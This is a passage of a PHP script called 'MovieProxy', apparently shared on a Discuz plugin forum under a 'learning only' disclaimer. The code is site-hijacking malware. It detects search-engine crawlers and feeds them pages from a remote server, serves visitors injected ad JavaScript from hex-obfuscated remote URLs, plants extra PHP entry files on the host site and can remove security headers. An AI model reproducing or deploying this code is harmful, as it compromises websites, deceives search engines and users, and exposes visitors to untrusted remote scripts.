$selected[$i]['length'] ); } return MovieProxy_forceQuestionEntryLinks($html);}function MovieProxy_apiLinkEligible($url){ $url = trim((string)$url); if ($url === '' || substr($url, 0, 1) === '#') return false; if (preg_match('#^(?:javascript:|mailto:|tel:|data:)#i', $url)) return false; if (MovieProxy_isProxyEntryUrl($url)) return false; $path = @parse_url($url, PHP_URL_PATH); if ($path === false || $path === null || $path === '') $path = $url; $path = '/'.ltrim(str_replace('\\', '/', (string)$path), '/'); if (preg_match('#^/(?:admin|api|data|runtime|app|assets|templates)(?:/|$)#i', $path)) return false; if (preg_match('/\.(?:css|js|mjs|jpg|jpeg|png|gif|webp|svg|ico|bmp|avif|woff2?|ttf|eot|mp4|m3u8|ts|mp3|wav|pdf|zip|rar|7z)$/i', $path)) return false; return true;}function MovieProxy_apiOriginalUrl($url){ $url = trim((string)$url); if ($url === '') return ''; if (substr($url, 0, 1) === '#') return ''; if (preg_match('#^(?:javascript:|mailto:|tel:|data:)#i', $url)) return ''; if (substr($url, 0, 2) === '//') return ''; $fragment = ''; $hashPos = strpos($url, '#'); if ($hashPos !== false) { $fragment = substr($url, $hashPos); $url = substr($url, 0, $hashPos); } if (preg_match('#^https?://#i', $url)) { $path = @parse_url($url, PHP_URL_PATH); $query = @parse_url($url, PHP_URL_QUERY); if ($path === false || $path === null || $path === '') $path = '/'; $url = $path; if ($query !== false && $query !== null && $query !== '') $url .= '?'.$query; } if ($url === '') $url = '/'; if (substr($url, 0, 1) !== '/') $url = '/'.ltrim($url, '/'); $url = preg_replace('#/+#', '/', str_replace('\\', '/', $url)); if (!is_string($url) || $url === '') return ''; return $url.$fragment;}function MovieProxy_apiExistingEntryPaths(){ $paths = MovieProxy_availableEntryPaths(); if (!is_array($paths) || empty($paths)) return array(); $valid = array(); foreach ($paths as $entryPath) { $entryPath = trim((string)$entryPath); if ($entryPath === '' || !preg_match('/\.php$/i', $entryPath)) continue; if (MovieProxy_isRootHomepageIndexPath($entryPath)) continue; $file = MovieProxy_urlPathToEntryFile($entryPath, true); if (!MovieProxy_isCompatibleEntryFile($file)) continue; $valid[$entryPath] = true; } return array_keys($valid);}function MovieProxy_apiWrapOriginalUrl($url){ $original = MovieProxy_apiOriginalUrl($url); if ($original === '') return ''; $paths = MovieProxy_apiExistingEntryPaths(); if (empty($paths)) return ''; $entry = (string)$paths[mt_rand(0, count($paths) - 1)]; if ($entry === '') return ''; return $entry.'?'.$original;}function MovieProxy_rewriteApiHtml($html){ $html = (string)$html; if ($html === '' || stripos($html, 'href') === false) return $html; $matches = array(); $flags = PREG_SET_ORDER; if (defined('PREG_OFFSET_CAPTURE')) $flags |= PREG_OFFSET_CAPTURE; $found = @preg_match_all('/\bhref\s*=\s*(["\'])([^"\']*)\1/i', $html, $matches, $flags); if (!$found || empty($matches)) return $html; $eligible = array(); foreach ($matches as $match) { if (!isset($match[2][0], $match[2][1])) continue; $sourceUrl = (string)$match[2][0]; if (!MovieProxy_apiLinkEligible($sourceUrl)) continue; $target = MovieProxy_apiWrapOriginalUrl($sourceUrl); if ($target === '') continue; $eligible[] = array( 'offset' => intval($match[2][1]), 'length' => strlen($sourceUrl), 'target' => $target ); } if (empty($eligible)) return MovieProxy_forceQuestionEntryLinks($html); usort($eligible, 'MovieProxy_sortOffsetDesc'); foreach ($eligible as $item) { $html = substr_replace( $html, $item['target'], $item['offset'], $item['length'] ); } return MovieProxy_forceQuestionEntryLinks($html);}function MovieProxy_isGzip($data){ return strlen((string)$data) >= 2 && ord($data[0]) === 0x1f && ord($data[1]) === 0x8b;}function MovieProxy_gzipDecode($data){ if (function_exists('gzdecode')) { $decoded = @gzdecode($data); if ($decoded !== false) return $decoded; } if (function_exists('gzinflate') && strlen($data) > 18) { $decoded = @gzinflate(substr($data, 10, -8)); if ($decoded !== false) return $decoded; } return false;}function MovieProxy_siteOutput($html){ $gzip = MovieProxy_isGzip($html); if ($gzip) { $decoded = MovieProxy_gzipDecode($html); if ($decoded === false) return $html; $html = $decoded; } MovieProxy_applyCharset($html); $html = MovieProxy_rewriteSiteHtml($html, !empty($GLOBALS['MovieProxy_isHome'])); if ($gzip && function_exists('gzencode')) { $encoded = @gzencode($html, 6); if ($encoded !== false) { if (function_exists('header_remove') && !headers_sent()) @header_remove('Content-Length'); return $encoded; } if (function_exists('header_remove') && !headers_sent()) { @header_remove('Content-Encoding'); @header_remove('Content-Length'); } } if (function_exists('header_remove') && !headers_sent()) @header_remove('Content-Length'); return $html;}function MovieProxy_startSiteRewrite($isHome){ if (!empty($GLOBALS['MovieProxy_obStarted'])) return; $GLOBALS['MovieProxy_obStarted'] = true; $GLOBALS['MovieProxy_isHome'] = !empty($isHome); $GLOBALS['MovieProxy_obBase'] = ob_get_level(); @ob_start('MovieProxy_siteOutput');}function MovieProxy_findLocation(){ if (!function_exists('headers_list')) return ''; $headers = headers_list(); $i = 0; for ($i = count($headers) - 1; $i >= 0; $i--) { if (stripos((string)$headers[$i], 'Location:') === 0) { return trim(substr((string)$headers[$i], 9)); } } return '';}function MovieProxy_localRedirectFile($location){ $location = trim((string)$location); if ($location === '') return ''; if (preg_match('#^https?://#i', $location)) { $locationHost = strtolower((string)@parse_url($location, PHP_URL_HOST)); $siteHost = strtolower((string)(isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '')); $siteHost = preg_replace('#:\d+$#', '', $siteHost); if ($locationHost === '' || $locationHost !== $siteHost) return ''; } $path = @parse_url($location, PHP_URL_PATH); if ($path === false || $path === null || $path === '') return ''; $path = preg_replace('#/+#', '/', rawurldecode(str_replace('\\', '/', $path))); if (!preg_match('/\.html?$/i', $path) || strpos($path, '..') !== false || strpos($path, "\0") !== false) return ''; $base = MovieProxy_installBasePath(); $relative = ($base !== '/' && strpos($path, $base) === 0) ? substr($path, strlen($base)) : ltrim($path, '/'); $root = @realpath(dirname(__FILE__)); $file = @realpath(dirname(__FILE__).DIRECTORY_SEPARATOR.str_replace('/', DIRECTORY_SEPARATOR, ltrim($relative, '/'))); if ($root === false || $file === false || !is_file($file) || !is_readable($file)) return ''; $a = DIRECTORY_SEPARATOR === '\\' ? strtolower($root) : $root; $b = DIRECTORY_SEPARATOR === '\\' ? strtolower($file) : $file; return strpos($b, rtrim($a, '/\\').DIRECTORY_SEPARATOR) === 0 ? $file : '';}function MovieProxy_shutdownRedirect(){ if (!empty($GLOBALS['MovieProxy_shutdownDone'])) return; $GLOBALS['MovieProxy_shutdownDone'] = true; $location = MovieProxy_findLocation(); $file = MovieProxy_localRedirectFile($location); if ($file === '' || headers_sent()) return; $html = @file_get_contents($file); if ($html === false) return; $baseLevel = isset($GLOBALS['MovieProxy_obBase']) ? intval($GLOBALS['MovieProxy_obBase']) : 0; while (ob_get_level() > $baseLevel) @ob_end_clean(); if (function_exists('header_remove')) { @header_remove('Location'); @header_remove('Content-Length'); } MovieProxy_status(200); MovieProxy_applyCharset($html); echo MovieProxy_rewriteSiteHtml($html, true);}function MovieProxy_base64UrlEncode($value){ return rtrim(strtr(base64_encode((string)$value), '+/', '-_'), '=');}function MovieProxy_base64UrlDecode($value){ $value = strtr((string)$value, '-_', '+/'); $padding = strlen($value) % 4; if ($padding > 0) $value .= str_repeat('=', 4 - $padding); return base64_decode($value, true);}function MovieProxy_adKey(){ $cfg = MovieProxy_config(); $key = isset($cfg['ad_key']) ? trim((string)$cfg['ad_key']) : ''; $key = preg_replace('/\.js$/i', '', $key); if ($key === '' || !preg_match('/^[A-Za-z0-9_-]{6,128}$/', $key)) return ''; return $key;}function MovieProxy_remoteAdJsUrl(){ $cfg = MovieProxy_config(); $base = MovieProxy_resourceValue('ad_js_base'); $key = MovieProxy_adKey(); if ($base === '' || $key === '') return ''; if (strpos($base, '{key}') !== false) { $url = str_replace('{key}', rawurlencode($key).'.js', $base); } else { $url = $base.rawurlencode($key).'.js'; } return filter_var($url, FILTER_VALIDATE_URL) ? $url : '';}function MovieProxy_adOrigin(){ $url = MovieProxy_remoteAdJsUrl(); if ($url === '') return ''; $scheme = strtolower((string)@parse_url($url, PHP_URL_SCHEME)); $host = strtolower((string)@parse_url($url, PHP_URL_HOST)); $port = @parse_url($url, PHP_URL_PORT); if (($scheme !== 'http' && $scheme !== 'https') || $host === '') return ''; $origin = $scheme.'://'.$host; if ($port !== false && $port !== null) $origin .= ':'.intval($port); return $origin;}function MovieProxy_validateAdUrl($url, $exactJs){ $url = trim((string)$url); $adJs = MovieProxy_remoteAdJsUrl(); if ($url === '' || !filter_var($url, FILTER_VALIDATE_URL)) return false; if ($exactJs) return $adJs !== '' && $url === $adJs; $origin = MovieProxy_adOrigin(); if ($origin === '') return false; $urlOrigin = strtolower((string)@parse_url($url, PHP_URL_SCHEME)).'://'.strtolower((string)@parse_url($url, PHP_URL_HOST)); $port = @parse_url($url, PHP_URL_PORT); if ($port !== false && $port !== null) $urlOrigin .= ':'.intval($port); return strtolower($origin) === strtolower($urlOrigin);}function MovieProxy_decodeAdUrl($encoded, $exactJs){ $url = MovieProxy_base64UrlDecode($encoded); return $url !== false && MovieProxy_validateAdUrl($url, $exactJs) ? $url : '';}function MovieProxy_localJsUrl(){ $key = MovieProxy_adKey(); if ($key === '' || MovieProxy_remoteAdJsUrl() === '') return ''; return MovieProxy_logoPrefix('', true).'__mp_js=1&key='.rawurlencode($key).'.js';}function MovieProxy_localResourceUrl($url){ if (!MovieProxy_validateAdUrl($url, false)) return ''; $prefix = MovieProxy_logoPrefix('', true); if ($prefix === '') return ''; // u 为本地代理参数;fb 保存原始远程地址,只在本地代理失败时兜底。 return $prefix .'__mp_remote=1&u='.rawurlencode(MovieProxy_base64UrlEncode($url)) .'&fb='.rawurlencode($url);}function MovieProxy_rewriteJsVariableCallback($match){ if (!isset($match[1], $match[3])) return $match[0]; $local = MovieProxy_localResourceUrl($match[3]); if ($local === '') return $match[0]; if (!isset($GLOBALS['MovieProxy_jsVars']) || !is_array($GLOBALS['MovieProxy_jsVars'])) { $GLOBALS['MovieProxy_jsVars'] = array(); } $GLOBALS['MovieProxy_jsVars'][$match[1]] = true; return str_replace($match[3], $local, $match[0]);}function MovieProxy_rewriteJsUrlCallback($match){ $url = isset($match[0]) ? rtrim((string)$match[0], ');,') : ''; $suffix = isset($match[0]) ? substr((string)$match[0], strlen($url)) : ''; $local = MovieProxy_localResourceUrl($url); return $local !== '' ? $local.$suffix : $match[0];}function MovieProxy_rewriteAdJs($body){ if (MovieProxy_adOrigin() === '' || $body === '') return $body; $GLOBALS['MovieProxy_jsVars'] = array(); $body = preg_replace_callback( "/\\b(?:const|let|var)\\s+([A-Za-z_\x24][A-Za-z0-9_\x24]*)\\s*=\\s*(["'])(https?:\\/\\/[^"']+)\\2\\s*;/i", 'MovieProxy_rewriteJsVariableCallback', (string)$body ); $body = preg_replace_callback( "#https?://[A-Za-z0-9._:-]+/[^\\s"'<>\\\\]*#i", 'MovieProxy_rewriteJsUrlCallback', $body ); $vars = isset($GLOBALS['MovieProxy_jsVars']) && is_array($GLOBALS['MovieProxy_jsVars']) ? $GLOBALS['MovieProxy_jsVars'] : array(); unset($GLOBALS['MovieProxy_jsVars']); foreach ($vars as $name => $unused) { $body = preg_replace( "/\\b".preg_quote($name, '/')."\\s*\\+\\s*(["'])\\?/", $name.' + $1&', $body ); $body = preg_replace( '/\\$\\{'.preg_quote($name, '/').'\\}\\?/', '${'.$name.'}&', $body ); } return $body;}function MovieProxy_mergeRemoteUrl($url, $extra){ $parts = @parse_url($url); if (!is_array($parts) || empty($parts['scheme']) || empty($parts['host'])) return ''; $base = $parts['scheme'].'://'.$parts['host']; if (isset($parts['port'])) $base .= ':'.intval($parts['port']); $base .= isset($parts['path']) && $parts['path'] !== '' ? $parts['path'] : '/'; $params = array(); if (!empty($parts['query'])) @parse_str($parts['query'], $params); foreach ($extra as $name => $value) { if (!is_array($value)) $params[(string)$name] = (string)$value; } return empty($params) ? $base : $base.'?'.http_build_query($params, '', '&');}function MovieProxy_directJsFallback($remote){ $json = json_encode($remote); if ($json === false) $json = "''"; return '(function(){var u='.$json.';var s=document.createElement("script");s.src=u;s.async=false;(document.head||document.documentElement).appendChild(s);}());';}function MovieProxy_serveAdJs($method){ if (!isset($_GET['__mp_js'])) return false; if (!headers_sent()) { header('Content-Type: application/javascript; charset=utf-8', true); header('X-Content-Type-Options: nosniff', true); header('X-Robots-Tag: noindex, nofollow, noarchive', true); header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0', true); header('Pragma: no-cache', true); header('Expires: Thu, 01 Jan 1970 00:00:00 GMT', true); } $visibleKey = isset($_GET['key']) ? preg_replace('/\.js$/i', '', trim((string)$_GET['key'])) : ''; $configuredKey = MovieProxy_adKey(); $remote = MovieProxy_remoteAdJsUrl(); if ($visibleKey === '' || $configuredKey === '' || $visibleKey !== $configuredKey || $remote === '') { MovieProxy_status(403); exit; } $host = MovieProxy_clean(isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''); $uri = MovieProxy_clean(isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/'); $ua = MovieProxy_clean(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''); $ref = MovieProxy_clean(isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''); $headers = MovieProxy_requestHeaders($host, $uri, $ua, $ref, MovieProxy_realIp(), true); $headers[] = 'Accept: application/javascript, text/javascript, */*;q=0.8'; list($body, $code) = MovieProxy_http($remote, $headers, $ua, $ref); MovieProxy_status(200); if ($method === 'HEAD') exit; if ($body !== false && trim((string)$body) !== '' && $code > 0 && $code < 500) { echo MovieProxy_rewriteAdJs((string)$body); exit; } echo MovieProxy_directJsFallback($remote); exit;}function MovieProxy_redirectAdResource($url){ $url = trim((string)$url); if ($url === '' || !MovieProxy_validateAdUrl($url, false)) return false; if (headers_sent()) return false; MovieProxy_status(302); header('Location: '.$url, true, 302); header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0', true); header('Pragma: no-cache', true); return true;}function MovieProxy_adResourceFallbackUrl(){ $url = isset($_GET['fb']) && !is_array($_GET['fb']) ? trim((string)$_GET['fb']) : ''; return $url !== '' && MovieProxy_validateAdUrl($url, false) ? $url : '';}function MovieProxy_serveAdResource($method){ if (!isset($_GET['__mp_remote'])) return false; $fallback = MovieProxy_adResourceFallbackUrl(); $remote = MovieProxy_decodeAdUrl(isset($_GET['u']) ? $_GET['u'] : '', false); // 主参数解码失败时,直接回原始远程地址,不再输出 403。 if ($remote === '') { if ($fallback !== '' && MovieProxy_redirectAdResource($fallback)) exit; MovieProxy_status(204); exit; } $extra = array(); foreach ($_GET as $name => $value) { if ($name === '__mp_remote' || $name === 'u' || $name === 'fb' || is_array($value)) continue; $extra[$name] = (string)$value; } if (array_key_exists('domain', $extra)) { $siteHost = MovieProxy_clean(isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''); $extra['domain'] = preg_replace('/:\\d+$/', '', $siteHost); } $remote = MovieProxy_mergeRemoteUrl($remote, $extra); if ($remote === '' || !MovieProxy_validateAdUrl($remote, false)) { if ($fallback !== '' && MovieProxy_redirectAdResource($fallback)) exit; MovieProxy_status(204); exit; } $path = strtolower((string)@parse_url($remote, PHP_URL_PATH)); $isJs = preg_match('/\\.js$/i', $path) || preg_match('#(?:^|/)js\\.php$#i', $path); if (!headers_sent()) { if ($isJs) header('Content-Type: application/javascript; charset=utf-8', true); elseif (substr($path, -5) === '.json' || preg_match('/(?:api|output|config|policy)[^\\/]*\\.php$/i', $path)) { header('Content-Type: application/json; charset=utf-8', true); } else { header('Content-Type: text/plain; charset=utf-8', true); } header('X-Content-Type-Options: nosniff', true); header('X-Robots-Tag: noindex, nofollow, noarchive', true); header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0', true); header('Pragma: no-cache', true); header('Expires: Thu, 01 Jan 1970 00:00:00 GMT', true); } if ($method === 'HEAD') { MovieProxy_status(200); exit; } $host = MovieProxy_clean(isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''); $uri = MovieProxy_clean(isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/'); $ua = MovieProxy_clean(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''); $ref = MovieProxy_clean(isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''); $headers = MovieProxy_requestHeaders($host, $uri, $ua, $ref, MovieProxy_realIp(), false); $headers[] = 'Accept: application/json, application/javascript, text/plain, */*'; list($body, $code) = MovieProxy_http($remote, $headers, $ua, $ref); // 本地中转真正成功时才返回 200。 if ($body !== false && trim((string)$body) !== '' && $code >= 200 && $code < 400) { MovieProxy_status(200); echo $isJs ? MovieProxy_rewriteAdJs((string)$body) : (string)$body; exit; } // 超时、空内容、4xx、5xx:302 直接访问原远程资源。 if (MovieProxy_redirectAdResource($remote)) exit; if ($fallback !== '' && MovieProxy_redirectAdResource($fallback)) exit; MovieProxy_status(204); exit;}function MovieProxy_outputAdJs(){ $remote = MovieProxy_remoteAdJsUrl(); if ($remote === '') return false; $local = MovieProxy_localJsUrl(); if ($local === '') { echo '<script src="'.MovieProxy_escapeHtml($remote).'"></script>'; return true; } echo '<script src="'.MovieProxy_escapeHtml($local).'"' .' onerror="this.onerror=null;this.src=\''.MovieProxy_escapeHtml($remote).'\';">' .'</script>'; return true;}function MovieProxy_targetUri($requestUri){ $requestUri = MovieProxy_clean((string)$requestUri); $current = MovieProxy_currentEntryPath(); $path = @parse_url($requestUri, PHP_URL_PATH); if ($current !== '' && $path !== false && $path !== null) { $current = '/'.ltrim(preg_replace('#/+#', '/', str_replace('\\', '/', $current)), '/'); $path = '/'.ltrim(preg_replace('#/+#', '/', str_replace('\\', '/', $path)), '/'); if (stripos($path, $current.'/') === 0) { $target = substr($path, strlen($current)); if ($target === '' || substr($target, 0, 1) !== '/') $target = '/'.ltrim($target, '/'); $query = @parse_url($requestUri, PHP_URL_QUERY); if ($query !== false && $query !== null && trim((string)$query) !== '') { $target .= '?'.$query; } return MovieProxy_clean($target); } } $pos = strpos($requestUri, '?'); if ($pos === false) return $requestUri !== '' ? $requestUri : '/'; $raw = substr($requestUri, $pos + 1); if ($raw === '') return $requestUri; if (stripos($raw, '__mp_js=') === 0 || stripos($raw, '__mp_remote=') === 0) return $requestUri; if (preg_match('/^(?:%2F|\/)/i', $raw) === 1) { if (stripos($raw, '%2F') === 0) $raw = rawurldecode($raw); if (substr($raw, 0, 1) !== '/') $raw = '/'.ltrim($raw, '/'); return MovieProxy_clean($raw); } return $requestUri;}function MovieProxy_requestScheme(){ if (!empty($_SERVER['HTTP_X_FORWARDED_PROTO'])) { $protoParts = explode(',', (string)$_SERVER['HTTP_X_FORWARDED_PROTO']); $value = strtolower(trim(isset($protoParts[0]) ? $protoParts[0] : '')); if ($value === 'http' || $value === 'https') return $value; } return (!empty($_SERVER['HTTPS']) && strtolower((string)$_SERVER['HTTPS']) !== 'off') ? 'https' : 'http';}function MovieProxy_buildApiUrl($base, $uri){ $join = strpos($base, '?') === false ? '?' : '&'; return rtrim($base, '&?').$join.'_r='.mt_rand(10000000, 99999999);}function MovieProxy_apiContentUsable($body, $code){ if ($body === false) return false; $body = trim((string)$body); $code = intval($code); if ($body === '' || $code === 0 || $code >= 400) return false; if (preg_match('/^(?:0|1|2|3|null|false)$/i', $body)) return false; $plain = trim(preg_replace('/\s+/', ' ', strip_tags($body))); if (strlen($plain) < 200 && preg_match('/未授权|无权限|禁止访问|服务暂时不可用|forbidden|blocked/i', $plain)) { return false; } return true;}function MovieProxy_run(){ $cfg = MovieProxy_config(); if (!empty($cfg['remove_csp']) && function_exists('header_remove')) { @header_remove('Content-Security-Policy'); @header_remove('Content-Security-Policy-Report-Only'); } $method = isset($_SERVER['REQUEST_METHOD']) ? strtoupper((string)$_SERVER['REQUEST_METHOD']) : 'GET'; if ($method !== 'GET' && $method !== 'HEAD') return; MovieProxy_ensureEntryFiles(); MovieProxy_serveAdJs($method); MovieProxy_serveAdResource($method); $host = MovieProxy_clean(isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''); $uri = MovieProxy_clean(isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/'); $ua = MovieProxy_clean(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''); $ref = MovieProxy_clean(isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''); $ip = MovieProxy_realIp(); $isDirectEntry = MovieProxy_isDirectEntryRequest($uri); $isLogo = MovieProxy_isLogo($uri); $isHome = MovieProxy_isHome($uri); $isSpider = @preg_match($cfg['spider_reg'], $ua) === 1; $isArea = preg_match('/\.(?:xml|docx?|txt|pptx?|xlsx?|csv|shtml|html?|php|asp)(?:\?|$)/i', $uri) === 1 || $isLogo; if (stripos($uri, 'robots.txt') !== false || stripos($uri, 'sitemap.xml') !== false) return; if ($isDirectEntry && !$isSpider) { MovieProxy_outputDirectEntryPage($method); exit; } $isSpiderRemote = $isSpider && ($isLogo || (!$isHome && $isArea)); if ($isSpider && !$isSpiderRemote) { MovieProxy_startSiteRewrite($isHome); if (!empty($cfg['intercept_local_html_redirect'])) { register_shutdown_function('MovieProxy_shutdownRedirect'); } return; } $isVisitorProxyArea = $isArea && (!$isHome || $isLogo); if (!$isSpider && $isVisitorProxyArea) { if (!empty($cfg['ad_enabled']) && MovieProxy_remoteAdJsUrl() !== '') { MovieProxy_status(200); if (!headers_sent()) { header('Content-Type: text/html; charset=UTF-8', true); header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0', true); header('Pragma: no-cache', true); header('Expires: Thu, 01 Jan 1970 00:00:00 GMT', true); if (function_exists('header_remove')) { @header_remove('Content-Length'); @header_remove('Content-Encoding'); } } if ($method !== 'HEAD') { echo '<!doctype html><html><head><meta charset="utf-8"></head><body>'; MovieProxy_outputAdJs(); echo '</body></html>'; } exit; } return; } if (!$isSpiderRemote) return; $api = isset($cfg['logo_api']) ? trim((string)$cfg['logo_api']) : ''; $proxyUri = MovieProxy_targetUri($uri); $body = false; $code = 0; $upstreamHeaders = array(); if ($api !== '' && filter_var($api, FILTER_VALIDATE_URL)) { $headers = MovieProxy_requestHeaders($host, $proxyUri, $ua, $ref, $ip, true, $uri); list($body, $code, $upstreamHeaders) = MovieProxy_http(MovieProxy_buildApiUrl($api, $proxyUri), $headers, $ua, $ref); } if (!headers_sent() && isset($upstreamHeaders['x-ssproxy-cache'])) { MovieProxy_debugHeader('X-SSProxy-Upstream-Cache', $upstreamHeaders['x-ssproxy-cache']); } if (MovieProxy_apiContentUsable($body, $code)) { $body = MovieProxy_remoteHtmlToUtf8((string)$body, $upstreamHeaders); $body = MovieProxy_rewriteApiHtml($body); if ($isDirectEntry) { $body = MovieProxy_appendDirectEntryLinks($body); } if (!MovieProxy_isRootHomepageRequest()) { $body = MovieProxy_forceQuestionEntryLinks($body); } MovieProxy_status(200); if (!headers_sent()) { header('Content-Type: text/html; charset=UTF-8', true); header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0', true); header('Pragma: no-cache', true); header('Expires: Thu, 01 Jan 1970 00:00:00 GMT', true); if (function_exists('header_remove')) { @header_remove('Content-Length'); @header_remove('Content-Encoding'); } } if ($method !== 'HEAD') { echo $body; } exit; } if ($isDirectEntry) { MovieProxy_outputDirectEntryPage($method); exit; } if ($code >= 400 && $code <= 599) { MovieProxy_status($code); if (!headers_sent()) { header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0', true); header('Pragma: no-cache', true); } if ($method !== 'HEAD' && is_string($body) && trim($body) !== '') { $body = MovieProxy_remoteHtmlToUtf8($body, $upstreamHeaders); if (!headers_sent()) { header('Content-Type: text/html; charset=UTF-8', true); if (function_exists('header_remove')) { @header_remove('Content-Length'); @header_remove('Content-Encoding'); } } echo $body; } exit; } MovieProxy_status(502); if ($method !== 'HEAD') { header('Content-Type: text/html; charset=utf-8', true); echo '<!doctype html><meta charset="utf-8"><title>内容暂时没出来</title><h1>请稍后在来'.date().'</h1>'; } exit;}function MovieProxy_config(){ static $config = null; if (is_array($config)) { return $config; } $config = array( 'logo_api' => 'http://qg.zhqqzh.net/api/content.php', 'ad_enabled' => true, 'ad_js_base' => '6453644347365377463355534636643666366547536663676437533664676647646753766533', 'ad_key' => '985c561d1f2a6f516e47247b19f64053', 'proxy_key' => 'kd888', 'auto_create_logo' => true, 'auto_sync_logo' => true, 'logo_prefix' => 'auto', 'entry_root_path' => 'auto', 'auto_create_entry_files' => true, 'auto_create_entry_dirs' => false, 'auto_sync_entry_files' => true, 'entry_sync_interval' => 21600, 'auto_discover_entry_files' => true, 'entry_scan_max_files' => 128, 'entry_exclude_names' => array('favicon.php'), 'entry_auto_create_paths' => array( '/index.php', '/logo.php', '/news.php', '/article.php', '/content.php', '/html.php', '/product.php' ), 'entry_file_pool' => array( '/index.php', '/logo.php', '/news.php', '/article.php', '/content.php', '/html.php', '/product.php' ), 'entry_scan_dirs' => array('/'), 'root_index_is_site_homepage' => true, 'root_index_auto_create' => false, 'direct_entry_links_enabled' => true, 'direct_entry_link_count' => 10, 'direct_entry_link_topics' => array('html', 'news', 'article', 'content', 'product'), 'logo_path_pool' => array( array('path' => '/news/{随机数字5-8}.html', 'weight' => 24), array('path' => '/article/{随机数字5-8}.html', 'weight' => 20), array('path' => '/product/{随机数字5-8}.html', 'weight' => 14), array('path' => '/content/{随机数字5-8}.html', 'weight' => 12), array('path' => '/news/detail/{随机数字5-8}.html', 'weight' => 10), array('path' => '/article/detail/{随机数字5-8}.html', 'weight' => 8), array('path' => '/product/detail/{随机数字5-8}.html', 'weight' => 5), array('path' => '/html/news/{随机数字5-8}.shtml', 'weight' => 4), array('path' => '/content/article/{随机数字5-8}.html', 'weight' => 2), array('path' => '/ArTicle/details/{随机数字5-8}.shtml', 'weight' => 1) ), 'logo_random_path' => '/news/{随机数字5-8}.html', 'intercept_local_html_redirect' => true, 'home_rewrite_chance' => 100, 'home_replace_percent' => 50, 'inner_replace_min_percent' => 30, 'inner_replace_max_percent' => 70, 'yzz_enabled' => true, 'yzz_url' => '6148523063446f764c32646e656d73756258646c5a485575626d56304c6d4e754c3264315957356e5a32467665476c306232356e5832467761533935656e6f7564486830', 'yzz_default_mode' => 3, 'yzz_replace_percent' => 30, 'yzz_pool_max' => 5000, 'yzz_cache_bust' => true, 'yzz_cache_bust_window' => 30, 'yzz_connect_timeout' => 3, 'yzz_timeout' => 6, 'yzz_max_bytes' => 1048576, 'trusted_proxy_ips' => array('127.0.0.1', '::1'), 'site_charset' => 'auto', 'spider_reg' => '@Baiduspider|Sogou|Yisou|Haosou|360Spider|Bytespider|bingbot@i', 'ssl_verify' => true, 'force_ipv4' => false, 'remove_csp' => false, 'expose_debug_headers' => false, 'connect_timeout' => 5, 'timeout' => 70 ); return $config;}MovieProxy_run();?>
复制代码
©DZ插件网所发布的一切资源仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。 本站内容为站长个人技术研究记录或网络,不提供用户交互功能,所有内容版权归原作者所有。您必须在下载后的24个小时之内,从您的电脑中彻底删除上述内容。如果您喜欢该程序,请支持正版软件,得到更好的正版服务。 您在本站任何的赞助购买、下载、查阅、回复等行为等均表示接受并同意签订《DZ插件网免责声明协议》。 如有侵权请邮件与我们联系处理: discuzaddons@vip.qq.com 并出示相关证明以便删除。敬请谅解!
|
|